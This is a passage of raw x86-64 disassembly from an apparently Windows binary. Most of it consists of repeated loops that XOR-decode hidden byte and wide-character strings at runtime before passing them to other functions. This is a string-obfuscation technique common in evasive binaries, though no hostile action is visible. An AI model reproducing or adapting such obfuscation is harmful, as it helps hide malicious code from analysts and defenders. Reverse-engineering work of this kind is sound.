mov r15, rax
lea rax, [rbp + 0x2358]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp - 0x15]
call fcn.14002da90
mov r10, rax
cmp byte [rax + 0x14], 0
je 0x1400201c0
mov r8d, esi
cmp r14d, 2
jl 0x14002017e
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
mov r8d, reloc.WS2_32.dll_sendto
mov r9d, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140020190
mov rdx, r10
lea rcx, [rbp + 0x2378]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x2398]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2358]
call fcn.140037cd0
mov rdi, rax
lea rax, [rbp + 0x23b8]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x53d8]
lea rcx, [rbp - 0x14]
call fcn.14002da60
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140020370
mov r8d, esi
cmp r14d, 2
jl 0x14002032f
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140020240
cmp r8d, 0x21
jge 0x140020370
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140020340
mov rdx, r10
lea rcx, [rbp + 0x23d8]
call fcn.1400322a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x23b8]
call fcn.140037cd0
mov rbx, rax
lea rdx, [rbp + 0x5978]
lea rcx, [rbp - 0x13]
call fcn.14002d390
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x140020500
mov r8d, esi
cmp r14d, 2
jl 0x1400204bf
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400203d0
cmp r8d, 0x27
jge 0x140020500
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x1400204d0
mov rdx, r10
lea rcx, [rbp + 0x2418]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x2438]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x23f8]
call fcn.140037cd0
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014800
nop
lea rcx, [rbp + 0x2438]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2418]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x23d8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2398]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2378]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2338]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x2318]
call fcn.1400079a0
lea rax, [rbp + 0x5b8]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6110]
lea rcx, [rbp + 0x5b8]
call fcn.140031a50
mov r12, rax
lea rdx, [rbp + 0x59f8]
lea rcx, [rbp - 0x12]
call fcn.14002db60
mov r10, rax
cmp word [rax + 0x28], 0
je 0x140020844
mov r8d, esi
cmp r14d, 2
jl 0x1400207ff
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
pmuldq xmm2, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x20]
xorps xmm3, xmm0
movq qword [rax + 0x20], xmm3
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x15
jl 0x140020810
mov rdx, r10
lea rcx, [rbp + 0x2458]
call fcn.140031e60
nop
mov r8, rax
lea rdx, [rbp + 0x65d8]
lea rcx, [rbp + 0x2478]
call fcn.140037c60
nop
mov rcx, rax
call fcn.140031ce0
mov r15, rax
lea rax, [rbp + 0x2498]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x210]
lea rcx, [rbp - 0x11]
call fcn.14002db30
mov r10, rax
cmp byte [rax + 0x14], 0
je 0x140020af0
mov r8d, esi
cmp r14d, 2
jl 0x140020aae
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
mov r8d, reloc.WS2_32.dll_sendto
mov r9d, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140020ac0
mov rdx, r10
lea rcx, [rbp + 0x24b8]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x65f8]
lea rcx, [rbp + 0x24d8]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2498]
call fcn.140037cd0
mov rdi, rax
lea rax, [rbp + 0x24f8]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x53b0]
lea rcx, [rbp - 0x10]
call fcn.14002db00
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140020ca0
mov r8d, esi
cmp r14d, 2
jl 0x140020c5f
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140020b70
cmp r8d, 0x21
jge 0x140020ca0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140020c70
mov rdx, r10
lea rcx, [rbp + 0x2518]
call fcn.1400322a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x24f8]
call fcn.140037cd0
mov rbx, rax
lea rdx, [rbp + 0x5950]
lea rcx, [rbp - 0xf]
call fcn.14002d390
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x140020e30
mov r8d, esi
cmp r14d, 2
jl 0x140020def
movdqa xmmword [rsp + 0x70], xmm12
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140020d00
cmp r8d, 0x27
jge 0x140020e30
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x140020e00
mov rdx, r10
lea rcx, [rbp + 0x2558]
call fcn.1400322a0
nop
mov r8, rax
lea rdx, [rbp + 0x64d8]
lea rcx, [rbp + 0x2578]
call fcn.140035ef0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2538]
call fcn.140037cd0
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014800
nop
lea rcx, [rbp + 0x2578]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2558]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2518]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x24d8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x24b8]
call fcn.1400320f0
nop
lea rcx, [rbp + 0x2478]
call fcn.1400079a0
nop
lea rcx, [rbp + 0x2458]
call fcn.1400079a0
lea rax, [rbp + 0x5d0]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x6110]
lea rcx, [rbp + 0x5d0]
call fcn.140031a50
mov r12, rax
lea rdx, [rbp + 0x5a58]
lea rcx, [rbp - 0xe]
call fcn.14002dc00
mov r10, rax
cmp word [rax + 0x2a], 0
je 0x140021174
mov r8d, esi
cmp r14d, 2
jl 0x14002112f
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax]
xorps xmm3, xmm0
movq qword [rax], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 8]
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x10]
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
movdqa xmm2, xmm14
punpckldq xmm2, xmm14
pmuldq xmm2, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm14
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x18]
xorps xmm3, xmm0
movq qword [rax + 0x18], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
pmuldq xmm2, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm13
paddw xmm3, xmm2
movq xmm0, qword [rax + 0x20]
xorps xmm3, xmm0
movq qword [rax + 0x20], xmm3
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x34
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x16
jl 0x140021140
mov rdx, r10
lea rcx, [rbp + 0x2598]
call fcn.140031e60
nop
mov r8, rax
lea rdx, [rbp + 0x65d8]
lea rcx, [rbp + 0x25b8]
call fcn.140037c60
nop
mov rcx, rax
call fcn.140031ce0
mov r15, rax
lea rax, [rbp + 0x25d8]
mov qword [rsp + 0x60], rax
lea rdx, [rbp + 0x2e8]
lea rcx, [rbp - 0xd]
call fcn.14002dbd0
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x140021420
mov r8d, esi
cmp r14d, 2
jl 0x1400213de
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
